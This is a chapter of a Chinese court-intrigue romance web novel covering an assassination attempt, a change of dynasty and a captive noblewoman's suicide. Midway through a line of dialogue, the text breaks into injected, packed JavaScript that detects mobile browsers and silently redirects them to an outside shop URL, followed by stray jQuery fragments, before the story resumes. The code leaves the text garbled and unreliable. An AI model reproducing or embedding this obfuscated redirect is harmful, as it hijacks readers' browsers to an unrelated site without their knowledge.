那人意在突施奇袭,刀尖对准了元琛背后的破绽,眼看就要得手,身子却猛地一僵。
在他身后,沈妍先他一步动了手。元琛留给她的匕首钉进来人的后心,直没至柄。
被杀的刺客当场一声惨叫,但沈妍比他叫得还惨。
只不过杀手是疼得,她却是给吓得。
在此之前,别说杀人,她连只鸡都没宰过。眼看着殷红的血水汩汩淌出,顷刻间灌满指缝,染红了她白细的手指,沈妍哆哆嗦嗦紧攥着刀柄,忍不住一边痛哭,一边连声惨叫。
屋内,另外两名杀手显然没料到元琛会突然出现帮手,而且,一出手便杀死了他们干练的同伙,还搞出这么大动静,二人不禁被唬得一愣。
便趁对方这一走神的霎那,元琛瞅准机会,挥剑结果了两人。
沈妍从床底下钻出来时,他已经注意到了,原还想叫她回去,及至察觉背后的寒气,继而是男子的痛呼,他还有什么不明白的?
一把揽过沈妍,元琛将人紧紧搂在怀中,像怜惜,又像安抚,他低头在她发间落下一吻。
即便害怕成这样,也要冒死救他吗?
元琛一阵动容,又是一阵自责,心情激荡中,终是明白了沈妍同生共死的心意,再舍不得与她分开。
这厢,茅屋内接连死了四名杀手后,陡然陷入诡异的安静。元琛不知外面还有多少杀手,对方又藏着怎样的后招。
拉起沈妍躲在门边,他一只手戒备地握着剑,随时提防可能出现的不测。
如此过了好一会儿,外面再次传来急促的脚步声。
一只手蓦地将木门推开一线。
电光石火间,元琛猛然出手锁住了那人腕间要穴,随即,宛如猎豹拖拽黄羊般,他将那人拽进了茅屋。
利刃架上颈子的瞬间,来人扯着嗓子大喊:“世子是我!”
沈妍定睛一瞧——却不是长庚是谁?
长庚话音落下,院外一众侍卫纷纷涌来,朝着屋内跪了一地。
最前方的男子低眉顺目,恭敬叉手道:“世子,贼众已全部诛杀。属下无能,叫世子与沈娘子受苦了。”
*
薛坚随后领着大批侍卫赶到。
这些日子,他们翻遍了京畿,四处寻找元琛和沈妍的下落,直到不久前发现那批杀手,跟着他们的踪迹才终于找到此地。
元琛简略对薛坚说了韩国公设计诱杀他之事,言罢问薛坚身上有没有带钱。
薛坚起初没明白他是何意,愣怔地点点头。
元琛便像个强盗似的让他把钱全拿出来。
之后,他叫沈妍找来笔墨写了一张字条,连同从薛坚身上搜刮的银票一并留在猎户家中,回城后又差人给猎户夫妇送去了丰厚赏赐。
短短数十日间,大庆发生了天翻地覆的变化。
卫王元敬之以清君侧之名亲率大军攻入上都,一路所向披靡,几处重要关隘纷纷向卫王投诚。
后北境军与元琛所率龙虎军里应外合,势如破竹,大败韩国公桓延寿的金锐营。
至此,新旧兴替,中原易鼎。元敬之一跃执掌社稷,而那位多年沉迷于酒色,不问朝政的官家桓延康被元敬之幽禁于冷泉宫内。
与此同时,韩国公桓延寿则率领着仅剩的两百余名兵将败退京郊,最终与其从子桓超一并战死,夫人及长子桓进自戕。桓莹玉则在数名死士护卫下暂时逃脱。
元敬之破城前,苏府主母姜氏不惜拿出近半数体己,为独女苏锦荣打通了数层关系,终于如愿以偿让女儿挤进了高门汇聚的清暑宴。
宴上适逢北境军入京,苏锦荣好不容易凑到太子跟前,怎料大批兵将猝然闯入。
太子率其党羽殊死顽抗,期间他竟将苏锦荣推到身前充当肉盾,致其横死当场。
姜氏痛失爱女,人财两空一病不起,没几日竟有了下世光景。
苏文焕则与绝大多数官员一道转脸拥护新主,最终得以保全原职。
太子以不悌不孝之名被元敬之关押,党羽或被诛杀,或遭流放。
林子旭亦牵扯其中,同家眷一并被发配幽州。
*
京郊一处私邸,大门洞开,院内窜起冲天火光,大批北境军甲士快步闯入。
通往内宅的石板路上尸横遍地,惨不忍睹。
一间厅堂内,桓莹玉发髻散乱,眼眶通红,周身衣物斑斑驳驳,遍布着尘土与血迹。
她虽被绳索缚住,仍不住口地痛骂着,冲周遭围困她的北境军将士咬牙切齿,仿佛落入陷阱中的困兽,徒劳地试图挣脱。
不多时,沈妍带着小满赶来,后者肩上挎着一个青布包裹,进门后将其置于桌上。
“都退下。”沈妍对厅内的将士们说道。
将士们躬身退至厅外。沈妍又吩咐小满:“给桓娘子松绑。”
绳索解开,桓莹玉理了理蓬草般的乱发和被扯乱的衣襟,微仰着头睨向沈妍,骄傲的模样与昔日并无分别,唯独眼中染了些许惨然与讽刺:“呵,死在你手上,倒也不算冤枉。”
沈妍没接她的话,抬手指了指桌上的青布包裹:“这是几套干净的衣物,过会儿世子会安排人护送你离开。”
桓莹玉闻言愕然,抬眸不可置信地看着沈妍。
“别误会,我不是什么以德报怨之人。”沈妍声色淡淡,“这次帮你,只因我被劫那晚,是你将卫世子有难的消息报给了翌卫,让我和元琛躲过了随后的追杀。”
桓莹玉忽地发出一阵凄厉的冷笑,直笑得前仰后合,睫羽尽湿。
好一会儿,她笑声止住,觑着沈妍,语气嘲讽:“犯不着假惺惺,谁又稀罕你的施舍,本郡主要见元琛。”
沈妍也不再多说什么,道了声“可以”,转身带着小满出了门。
没过多久,元琛一袭玄甲,出现在桓莹玉面前。
后者见到他,原本红肿的眼眸刹时似要滴出血来,哑着嗓子质问:“为何要对我全家赶尽杀绝?”
话音落下,元琛睫羽微抬,头一次这般正眼瞧她,声音却是一如既往的冷漠,平铺直叙道:“若易地而处,韩国公一样不会放过卫王府,成王败寇而已。”
桓莹玉面颊抽动了几下,豆大泪珠顺着眼角滚滚话落:“这就是为什么你始终不肯接受我的心意?”
不等元琛回答,她再次凄然开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851771|179632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口:“原来,你和父亲早就各有盘算,从始至终,只有我一人被蒙在鼓里。”言罢又是一阵怪笑,笑声里有讽刺,有愤恨,有悲戚,也有不甘。
而元琛只是静静望着她,仿佛身处一个很遥远的地方,又仿佛此情此景他早已司空见惯。
半晌,桓莹玉终于平复下来,红肿的眸子像是无限疲惫,却熠熠有光,问元琛:“如果不是因为父亲与卫王争权,如果那个女人未曾出现过,你会不会娶我?”
她眼不错珠地紧盯着元琛,赤红的眸子像含了一粒星火,重燃或熄灭,仅需一丝风吹草动。
“不会。”元琛声音平静,如实答道。
桓莹玉缓缓合上眼,一滴清泪顺着眼尾滑至唇边:“为何?我究竟哪里不好?”
“非你之故,原因在我。”元琛道。这种假设毫无意义,如果定要问他,他和桓莹玉之间大概也只有联姻一种可能。
虽然他也曾说服自己联姻并无不可,但内心深处却从未认同,一如当初他对北地范家与京中世家。
就在元琛出神的刹那,旁边蓦地“咕咚”一声闷响。与此同时,桓莹玉的身躯在廊柱边慢慢软倒下去,本已狼狈不堪的头脸,被大量粘腻的血水覆盖。
两名暗卫飞身抢进来,见元琛无事,忙试图救人,不过显然已经晚了。
此事只消一眼,元琛已然知晓。
桓莹玉事先已抱了必死决心,撞向廊柱的瞬间,便没打算给自己留活路。
变起仓促,纵使元琛也来不及阻拦。
一名暗卫查验过桓莹玉的伤势后,冲元琛摇了摇头。
后者闭目须臾,开口吩咐属下:“好生安葬。”
*
卫王元敬之攻入上都后,起先只是代理朝政,不到月余,桓延康却称病禅让皇位给元敬之,改国号大卫。
大卫朝廷几乎继承了大庆原班朝臣,除了个别桓氏死党,以及誓死不从的遗老遗少,当然也晋升了一批北境新贵。
近些年,元敬之励精图治,朔方四镇在其带领下物阜民丰,兵强马壮。
他本人也因此积劳成疾,加上南下以来至新朝初立,诸事繁杂,一直身体欠奉,登基伊始便早早册立嫡长子元琛为太子。
因元敬之进京前下令军队不扰民,不抢掠,是以北境军入京后受到上都百姓的欢迎与拥戴。
一场表面平静,实则天翻地覆的激变过后,太阳照常升起,街市依旧太平。
是日黄昏时分,本该戌时才黑下去的天,却早早暗沉下来。铅云越压越低,眼看憋着一场暴雨。
点绛唇二楼茶室内,沈妍立在乌漆多宝柜前一一清点着她的“宝贝”。
柜中有她耗时费力制作的香团、香饼,数月积攒下来的名贵干花、香料,还有几新出的口脂样品。
收好了口脂小样,她视线落在旁边的那块龙涎香上。
算起来,这块镇店之宝在她手中也有些时日了。当初幸亏有高云锡帮忙,她才能顺利得到此物,而有了它,开店之初也确实不曾叫点绛唇被人小瞧了去。
正愣愣盯着那块香料出神,门口,一道磁沉的声音响起:“高云锡要回渤海了。”